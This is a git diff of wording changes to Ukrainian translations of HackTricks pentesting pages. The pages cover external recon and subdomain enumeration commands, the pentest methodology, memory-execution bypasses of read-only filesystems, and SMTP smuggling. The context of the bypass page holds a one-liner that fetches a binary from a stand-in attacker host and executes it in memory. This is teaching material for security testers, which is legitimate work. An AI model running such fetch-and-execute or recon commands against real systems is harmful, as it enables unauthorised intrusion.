> Добре, на цьому етапі ви повинні знати всі компанії в межах сфери. Давайте з'ясуємо, як знайти їх активи.
|
||||
|
||||
### **ASN**
|
||||
|
||||
Номер автономної системи (**ASN**) - це **унікальний номер**, призначений **автономній системі** (AS) **Управлінням присвоєння номерів Інтернету (IANA)**.\
|
||||
Номер автономної системи (**ASN**) - це **унікальний номер**, присвоєний **автономній системі** (AS) **Управлінням Інтернету (IANA)**.\
|
||||
**AS** складається з **блоків** **IP-адрес**, які мають чітко визначену політику доступу до зовнішніх мереж і адмініструються однією організацією, але можуть складатися з кількох операторів.
|
||||
|
||||
Цікаво дізнатися, чи **компанія має призначений ASN**, щоб знайти її **діапазони IP.** Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **обсягу** та **шукати домени** в цих IP.\
|
||||
Цікаво дізнатися, чи **компанія має призначений ASN**, щоб знайти її **діапазони IP**. Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **сфери** та **шукати домени** в цих IP.\
|
||||
Ви можете **шукати** за назвою компанії, за **IP** або за **доменом** на [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Залежно від регіону компанії, ці посилання можуть бути корисними для збору додаткових даних:** [**AFRINIC**](https://www.afrinic.net) **(Африка),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Північна Америка),** [**APNIC**](https://www.apnic.net) **(Азія),** [**LACNIC**](https://www.lacnic.net) **(Латинська Америка),** [**RIPE NCC**](https://www.ripe.net) **(Європа). В будь-якому випадку, ймовірно, вся** корисна інформація **(діапазони IP та Whois)** вже з'являється за першим посиланням.
|
||||
```bash
|
||||
|
@ -101,7 +101,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
|
||||
### **Зворотний Whois (loop)**
|
||||
|
||||
У **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні листи**, номери телефонів... Але що ще цікавіше, так це те, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні запити whois за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється та сама електронна адреса).\
|
||||
У **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні адреси**, номери телефонів... Але що ще цікавіше, так це те, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні запити whois за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється та сама електронна адреса).\
|
||||
Ви можете використовувати онлайн-інструменти, такі як:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Безкоштовно**
|
||||
|
@ -119,7 +119,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
|
||||
### **Трекери**
|
||||
|
||||
Якщо ви знайдете **той самий ID того самого трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** керуються **однією командою**.\
|
||||
Якщо ви знайдете **той самий ID того самого трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** управляються **однією командою**.\
|
||||
Наприклад, якщо ви бачите той самий **ID Google Analytics** або той самий **ID Adsense** на кількох сторінках.
|
||||
|
||||
Є кілька сторінок і інструментів, які дозволяють вам шукати за цими трекерами та іншими:
|
||||
|
@ -139,7 +139,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
```
|
||||
![favihash - виявлення доменів з однаковим хешем значка фавікону](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
|
||||
Простими словами, favihash дозволить нам виявити домени, які мають однаковий хеш значка фавікону, як у нашої цілі.
|
||||
Простими словами, favihash дозволить нам виявити домени, які мають однаковий хеш значка фавікону з нашим об'єктом.
|
||||
|
||||
Більше того, ви також можете шукати технології, використовуючи хеш значка фавікону, як пояснено в [**цьому блозі**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Це означає, що якщо ви знаєте **хеш значка фавікону вразливої версії веб-технології**, ви можете шукати в shodan і **знайти більше вразливих місць**:
|
||||
```bash
|
||||
|
@ -226,7 +226,7 @@ dnsrecon -a -d tesla.com
|
|||
```
|
||||
### **OSINT**
|
||||
|
||||
Найшвидший спосіб отримати багато піддоменів - це пошук у зовнішніх джерелах. Найбільш використовувані **інструменти** такі (для кращих результатів налаштуйте API ключі):
|
||||
Найшвидший спосіб отримати багато піддоменів - це пошук у зовнішніх джерелах. Найбільш використовувані **інструменти** такі:
|
||||
|
||||
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||
```bash
|
||||
|
@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** отримує відомі URL з Open Threat Exchange AlienVault, Wayback Machine та Common Crawl для будь-якого домену.
|
||||
* [**gau**](https://github.com/lc/gau)**:** отримує відомі URL-адреси з Open Threat Exchange AlienVault, Wayback Machine та Common Crawl для будь-якого заданого домену.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
|
@ -386,7 +386,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
|||
|
||||
Після того, як ви знайшли піддомени, використовуючи відкриті джерела та брутфорс, ви можете згенерувати варіації знайдених піддоменів, щоб спробувати знайти ще більше. Для цієї мети корисні кілька інструментів:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Задано домени та піддомени, генерує перестановки.
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Задані домени та піддомени генерують перестановки.
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
|
@ -395,7 +395,7 @@ cat subdomains.txt | dnsgen -
|
|||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Дано домени та піддомени, генерує перестановки. Якщо файл перестановок не вказано, gotator використає свій власний.
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Дано домени та піддомени, генерує перестановки. Якщо файл перестановок не вказано, gotator використовуватиме свій власний.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
|
@ -424,7 +424,7 @@ puredns resolve adobe.brute --write adobe.valid
|
|||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **Робочий процес виявлення піддоменів**
|
||||
### **Процес виявлення піддоменів**
|
||||
|
||||
Перегляньте цей блог-пост, який я написав про те, як **автоматизувати виявлення піддоменів** з домену, використовуючи **Trickest workflows**, щоб мені не потрібно було вручну запускати купу інструментів на моєму комп'ютері:
|
||||
|
||||
|
@ -462,7 +462,7 @@ VHostScan -t example.com
|
|||
|
||||
### **CORS Brute Force**
|
||||
|
||||
Іноді ви можете знайти сторінки, які повертають заголовок _**Access-Control-Allow-Origin**_ лише тоді, коли дійсний домен/піддомен встановлений у заголовку _**Origin**_. У цих сценаріях ви можете зловживати цією поведінкою, щоб **виявити** нові **піддомени**.
|
||||
Іноді ви знайдете сторінки, які повертають заголовок _**Access-Control-Allow-Origin**_ лише тоді, коли дійсний домен/піддомен встановлений у заголовку _**Origin**_. У цих сценаріях ви можете зловживати цією поведінкою, щоб **виявити** нові **піддомени**.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
|
@ -514,13 +514,13 @@ _Зверніть увагу, що іноді субдомен розміщен
|
|||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **Скриншоти**
|
||||
### **Скріншоти**
|
||||
|
||||
Тепер, коли ви виявили **всі веб-сервери**, що входять до сфери (серед **IP-адрес** компанії та всіх **доменів** і **піддоменів**), ви, напевно, **не знаєте, з чого почати**. Тож давайте спростимо і просто почнемо з того, щоб зробити скриншоти всіх з них. Просто **подивившись** на **головну сторінку**, ви можете знайти **незвичайні** кінцеві точки, які більш **схильні** до того, щоб бути **вразливими**.
|
||||
Тепер, коли ви виявили **всі веб-сервери**, що входять до сфери (серед **IP-адрес** компанії та всіх **доменів** і **піддоменів**), ви, напевно, **не знаєте, з чого почати**. Тож давайте спростимо і просто почнемо з того, щоб зробити скріншоти всіх з них. Просто **подивившись** на **головну сторінку**, ви можете знайти **незвичайні** кінцеві точки, які більш **схильні** до того, щоб бути **вразливими**.
|
||||
|
||||
Для реалізації запропонованої ідеї ви можете використовувати [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) або [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
Більше того, ви можете використовувати [**eyeballer**](https://github.com/BishopFox/eyeballer), щоб переглянути всі **скриншоти** і дізнатися, **що, ймовірно, міститиме вразливості**, а що ні.
|
||||
Більше того, ви можете використовувати [**eyeballer**](https://github.com/BishopFox/eyeballer), щоб переглянути всі **скріншоти** і дізнатися, **що, ймовірно, міститиме вразливості**, а що ні.
|
||||
|
||||
## Публічні хмарні активи
|
||||
|
||||
|
@ -573,13 +573,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
### Витоки Github
|
||||
|
||||
Облікові дані та API можуть бути витікали в **публічних репозиторіях** **компанії** або **користувачів**, які працюють на цю компанію в GitHub.\
|
||||
Ви можете використовувати **інструмент** [**Leakos**](https://github.com/carlospolop/Leakos), щоб **завантажити** всі **публічні репозиторії** **організації** та її **розробників** і автоматично запустити [**gitleaks**](https://github.com/zricethezav/gitleaks) на них.
|
||||
Ви можете використовувати **інструмент** [**Leakos**](https://github.com/carlospolop/Leakos), щоб **завантажити** всі **публічні репозиторії** **організації** та її **розробників** та автоматично запустити [**gitleaks**](https://github.com/zricethezav/gitleaks) на них.
|
||||
|
||||
**Leakos** також можна використовувати для запуску **gitleaks** проти всього **тексту**, наданого **URL-адресами**, оскільки іноді **веб-сторінки також містять секрети**.
|
||||
|
||||
#### Dorks Github
|
||||
|
||||
Перевірте також цю **сторінку** на предмет потенційних **github dorks**, які ви також могли б шукати в організації, яку ви атакуєте:
|
||||
Перевірте також цю **сторінку** на предмет потенційних **dorks github**, які ви також могли б шукати в організації, яку ви атакуєте:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
|
@ -587,8 +587,8 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
### Витоки Pastes
|
||||
|
||||
Іноді зловмисники або просто працівники **публікують вміст компанії на сайті для вставок**. Це може або не може містити **конфіденційну інформацію**, але це дуже цікаво шукати.\
|
||||
Ви можете використовувати інструмент [**Pastos**](https://github.com/carlospolop/Pastos), щоб шукати більш ніж на 80 сайтах для вставок одночасно.
|
||||
Іноді зловмисники або просто працівники **публікують вміст компанії на сайті паст**. Це може або не може містити **конфіденційну інформацію**, але це дуже цікаво шукати.\
|
||||
Ви можете використовувати інструмент [**Pastos**](https://github.com/carlospolop/Pastos), щоб шукати більш ніж на 80 сайтах паст одночасно.
|
||||
|
||||
### Dorks Google
|
||||
|
||||
|
@ -620,7 +620,7 @@ _Зверніть увагу, що інструменти, які очікуют
|
|||
|
||||
Я також хочу зробити особливе посилання на розділ [**Автоматизовані сканери веб-відкритого коду**](../../network-services-pentesting/pentesting-web/#automatic-scanners), оскільки, якщо ви не повинні очікувати, що вони знайдуть вам дуже чутливі вразливості, вони стануть у нагоді для реалізації їх у **робочих процесах, щоб отримати деяку початкову веб-інформацію.**
|
||||
|
||||
## Резюме
|
||||
## Рекапітуляція
|
||||
|
||||
> Вітаємо! На цьому етапі ви вже виконали **всі основні перерахування**. Так, це базове, оскільки можна виконати ще багато перерахувань (пізніше побачимо більше трюків).
|
||||
|
||||
|
@ -631,7 +631,7 @@ _Зверніть увагу, що інструменти, які очікуют
|
|||
3. Знайшли всі **домени**, що належать компаніям
|
||||
4. Знайшли всі **піддомени** доменів (чи є якісь піддоменні захоплення?)
|
||||
5. Знайшли всі **IP-адреси** (з і **не з CDN**) в межах сфери.
|
||||
6. Знайшли всі **веб-сервери** та зробили **скриншот** з них (чи є щось незвичайне, що варто детальніше розглянути?)
|
||||
6. Знайшли всі **веб-сервери** та зробили **скріншот** з них (чи є щось незвичайне, що варто детальніше розглянути?)
|
||||
7. Знайшли всі **потенційні публічні хмарні активи**, що належать компанії.
|
||||
8. **Електронні листи**, **витоки облікових даних** та **витоки секретів**, які можуть дати вам **велику перемогу дуже легко**.
|
||||
9. **Пентестинг всіх веб-сайтів, які ви знайшли**
|
||||
|
@ -649,7 +649,7 @@ _Зверніть увагу, що інструменти, які очікуют
|
|||
|
||||
* Всі безкоштовні курси [**@Jhaddix**](https://twitter.com/Jhaddix), такі як [**Методологія мисливця за помилками v4.0 - Розвідка**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зломі незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -665,7 +665,7 @@ _Зверніть увагу, що інструменти, які очікуют
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -33,10 +33,10 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
### 1 - [Виявлення хостів у мережі](pentesting-network/#discovering-hosts)/ [Виявлення активів компанії](external-recon-methodology/)
|
||||
|
||||
**В залежності** від того, чи **тест**, який ви проводите, є **внутрішнім чи зовнішнім**, вам може бути цікаво знайти **хости всередині мережі компанії** (внутрішній тест) або **знайти активи компанії в Інтернеті** (зовнішній тест).
|
||||
**В залежності** від того, чи є **тест**, який ви проводите, **внутрішнім чи зовнішнім**, вам може бути цікаво знайти **хости всередині мережі компанії** (внутрішній тест) або **знайти активи компанії в Інтернеті** (зовнішній тест).
|
||||
|
||||
{% hint style="info" %}
|
||||
Зверніть увагу, що якщо ви проводите зовнішній тест, як тільки вам вдасться отримати доступ до внутрішньої мережі компанії, вам слід перезапустити цей посібник.
|
||||
Зверніть увагу, що якщо ви проводите зовнішній тест, після того, як вам вдасться отримати доступ до внутрішньої мережі компанії, вам слід перезапустити цей посібник.
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**Розваги з мережею**](pentesting-network/) **(Внутрішній)**
|
||||
|
@ -46,7 +46,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
### 3- [Сканування портів - Виявлення сервісів](pentesting-network/#scanning-hosts)
|
||||
|
||||
Перше, що потрібно зробити, коли **шукаєте вразливості в хості**, це дізнатися, які **сервіси працюють** на яких портах. Давайте подивимося на [**базові інструменти для сканування портів хостів**](pentesting-network/#scanning-hosts).
|
||||
Перше, що потрібно зробити, коли **шукаєте вразливості в хості**, це дізнатися, які **сервіси працюють** на яких портах. Давайте розглянемо [**базові інструменти для сканування портів хостів**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [**Пошук експлойтів версій сервісів**](search-exploits.md)
|
||||
|
||||
|
@ -58,7 +58,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
**У цій книзі ви знайдете посібник для пентестингу найбільш поширених сервісів** (та інших, які не є такими поширеними)**. Будь ласка, шукайте в лівому індексі розділ** _**ПЕНТЕСТИНГ**_ **(сервіси впорядковані за їх стандартними портами).**
|
||||
|
||||
**Я хочу зробити особливе зауваження про** [**Пентестинг Веб**](../network-services-pentesting/pentesting-web/) **частину (оскільки вона є найбільш обширною).**\
|
||||
**Я хочу зробити особливе згадування про** [**Пентестинг Веб**](../network-services-pentesting/pentesting-web/) **частину (оскільки вона є найбільш обширною).**\
|
||||
Також тут можна знайти невеликий посібник про те, як [**знайти відомі вразливості в програмному забезпеченні**](search-exploits.md).
|
||||
|
||||
**Якщо ваш сервіс не входить до індексу, шукайте в Google** інші посібники та **дозвольте мені знати, якщо ви хочете, щоб я його додав.** Якщо ви **не можете нічого знайти** в Google, проведіть свій **власний сліпий пентестинг**, ви можете почати з **підключення до сервісу, фуззингу його та читання відповідей** (якщо такі є).
|
||||
|
@ -69,7 +69,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
#### **5.2 Брутфорсинг сервісів**
|
||||
|
||||
В деяких сценаріях **Брутфорс** може бути корисним для **компрометації** **сервісу**. [**Знайдіть тут Чит-лист різних сервісів для брутфорсингу**](brute-force.md)**.**
|
||||
В деяких сценаріях **Брут-Форс** може бути корисним для **компрометації** **сервісу**. [**Знайдіть тут Чит-лист різних сервісів для брутфорсингу**](brute-force.md)**.**
|
||||
|
||||
### 6- [Фішинг](phishing-methodology/)
|
||||
|
||||
|
@ -77,7 +77,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
### **7-** [**Отримання оболонки**](reverse-shells/)
|
||||
|
||||
Якимось чином ви повинні були знайти **якийсь спосіб виконати код** на жертві. Тоді [список можливих інструментів всередині системи, які ви можете використовувати для отримання зворотної оболонки, буде дуже корисним](reverse-shells/).
|
||||
Якимось чином ви повинні були знайти **якийсь спосіб виконати код** на жертві. Тоді [список можливих інструментів всередині системи, які ви можете використовувати для отримання реверс-оболонки, буде дуже корисним](reverse-shells/).
|
||||
|
||||
Особливо в Windows вам може знадобитися допомога, щоб **уникнути антивірусів**: [**Перевірте цю сторінку**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
|
@ -91,7 +91,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
### **9 -** [**Екстракція**](exfiltration.md)
|
||||
|
||||
Вам, напевно, потрібно буде **екстрактувати деякі дані з жертви** або навіть **ввести щось** (наприклад, скрипти підвищення привілеїв). **Ось тут ви маєте** [**пост про загальні інструменти, які ви можете використовувати з цими цілями**](exfiltration.md)**.**
|
||||
Вам, напевно, потрібно буде **екстрактувати деякі дані з жертви** або навіть **ввести щось** (наприклад, скрипти підвищення привілеїв). **Ось тут у вас є** [**пост про загальні інструменти, які ви можете використовувати з цими цілями**](exfiltration.md)**.**
|
||||
|
||||
### **10- Підвищення привілеїв**
|
||||
|
||||
|
@ -99,7 +99,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
Якщо ви **не root/Адміністратор** всередині системи, вам слід знайти спосіб **підвищити привілеї.**\
|
||||
Тут ви можете знайти **посібник для підвищення привілеїв локально в** [**Linux**](../linux-hardening/privilege-escalation/) **та в** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Вам також слід перевірити ці сторінки про те, як **працює Windows**:
|
||||
Вам також слід перевірити ці сторінки про те, як працює **Windows**:
|
||||
|
||||
* [**Аутентифікація, облікові дані, привілеї токенів та UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* Як працює [**NTLM**](../windows-hardening/ntlm/)
|
||||
|
@ -110,7 +110,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
#### **10.2- Підвищення привілеїв домену**
|
||||
|
||||
Тут ви можете знайти [**методологію, що пояснює найбільш поширені дії для перерахунку, підвищення привілеїв та збереження в Active Directory**](../windows-hardening/active-directory-methodology/). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно делікатним** під час завдання Пентестингу/Red Team.
|
||||
Тут ви можете знайти [**методологію, що пояснює найбільш поширені дії для перерахунку, підвищення привілеїв та збереження в Active Directory**](../windows-hardening/active-directory-methodology/). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно делікатним** під час пентестингу/Red Team завдання.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
|
@ -122,14 +122,14 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
#### 11.2 - Постійність
|
||||
|
||||
**Використовуйте 2 або 3 різні типи механізмів постійності, щоб вам не потрібно було знову експлуатувати систему.**\
|
||||
**Ось тут ви можете знайти деякі** [**трюки постійності в Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
**Тут ви можете знайти деякі** [**трюки постійності в Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Завершити постійність у Windows та Linux
|
||||
|
||||
### 12 - Півотування
|
||||
|
||||
З **зібраними обліковими даними** ви можете отримати доступ до інших машин, або, можливо, вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу знову) всередині нових мереж, до яких підключена ваша жертва.\
|
||||
У цьому випадку тунелювання може бути необхідним. Тут ви можете знайти [**пост, що говорить про тунелювання**](tunneling-and-port-forwarding.md).\
|
||||
З отриманими **обліковими даними** ви можете отримати доступ до інших машин, або, можливо, вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу знову) всередині нових мереж, до яких підключена ваша жертва.\
|
||||
У цьому випадку тунелювання може бути необхідним. Тут ви можете знайти [**пост про тунелювання**](tunneling-and-port-forwarding.md).\
|
||||
Вам також слід перевірити пост про [методологію пентестингу Active Directory](../windows-hardening/active-directory-methodology/). Там ви знайдете класні трюки для бічного переміщення, підвищення привілеїв та вивантаження облікових даних.\
|
||||
Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/), це може бути дуже корисно для півотування в Windows-середовищах.
|
||||
|
||||
|
@ -151,7 +151,7 @@ TODO: Завершити постійність у Windows та Linux
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -94,7 +94,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) є природним наступним кроком DDexec. Це **DDexec shellcode demonised**, тому що щоразу, коли ви хочете **запустити інший бінарний файл**, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec через техніку DDexec, а потім **спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та виконання**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) є природним наступним кроком DDexec. Це **DDexec shellcode demonised**, тому що щоразу, коли ви хочете **запустити інший бінарний файл**, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec за допомогою техніки DDexec, а потім **спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та виконання**.
|
||||
|
||||
Ви можете знайти приклад того, як використовувати **memexec для виконання бінарних файлів з PHP реверс-шелу** за адресою [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
|
@ -124,15 +124,15 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
Використовуючи скриптову мову, ви могли б **перерахувати систему**, використовуючи можливості мови.
|
||||
{% endhint %}
|
||||
|
||||
Якщо немає **захистів `read-only/no-exec`**, ви могли б зловживати своїм реверс-шелом, щоб **записати у файлову систему свої бінарні файли** та **виконати** їх.
|
||||
Якщо немає **захистів `read-only/no-exec`**, ви могли б зловживати своїм реверс-шелом, щоб **записувати у файлову систему свої бінарні файли** та **виконувати** їх.
|
||||
|
||||
{% hint style="success" %}
|
||||
Однак у таких контейнерах ці захисти зазвичай існують, але ви могли б використовувати **попередні техніки виконання в пам'яті, щоб обійти їх**.
|
||||
{% endhint %}
|
||||
|
||||
Ви можете знайти **приклади** того, як **використовувати деякі вразливості RCE**, щоб отримати реверс-шели скриптових мов та виконати бінарні файли з пам'яті за адресою [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
Ви можете знайти **приклади** того, як **використовувати деякі вразливості RCE**, щоб отримати реверс-шели скриптових мов та виконувати бінарні файли з пам'яті за адресою [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** та зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
|
|
@ -17,20 +17,20 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
## Основна інформація
|
||||
|
||||
Цей тип вразливості був [**спочатку виявлений у цьому пості**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/), де пояснюється, що можливо **використовувати розбіжності в тому, як інтерпретується протокол SMTP** при завершенні електронного листа, що дозволяє зловмиснику підсунути більше електронних листів у тілі легітимного, що дозволяє видавати себе за інших користувачів ураженого домену (таких як admin@outlook.com), обходячи такі захисти, як SPF.
|
||||
Цей тип вразливості був [**спочатку виявлений у цьому пості**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/), де пояснюється, що можливо **використовувати розбіжності в тому, як інтерпретується протокол SMTP** при завершенні електронного листа, що дозволяє зловмиснику контрабандою додавати більше електронних листів у тіло легітимного, що дозволяє видавати себе за інших користувачів ураженого домену (таких як admin@outlook.com), обходячи такі захисти, як SPF.
|
||||
|
||||
### Чому
|
||||
|
||||
Це пов'язано з тим, що в протоколі SMTP **дані повідомлення**, яке потрібно надіслати в електронному листі, контролюються користувачем (зловмисником), який може надсилати спеціально підготовлені дані, зловживаючи відмінностями в парсерах, які підсунуть додаткові електронні листи в отримувача. Ознайомтеся з цим ілюстрованим прикладом з оригінального посту:
|
||||
Це пов'язано з тим, що в протоколі SMTP **дані повідомлення**, яке потрібно надіслати в електронному листі, контролюються користувачем (зловмисником), який може надсилати спеціально підготовлені дані, зловживаючи відмінностями в парсерах, які контрабандою додадуть додаткові електронні листи до отримувача. Ознайомтеся з цим ілюстрованим прикладом з оригінального посту:
|
||||
|
||||
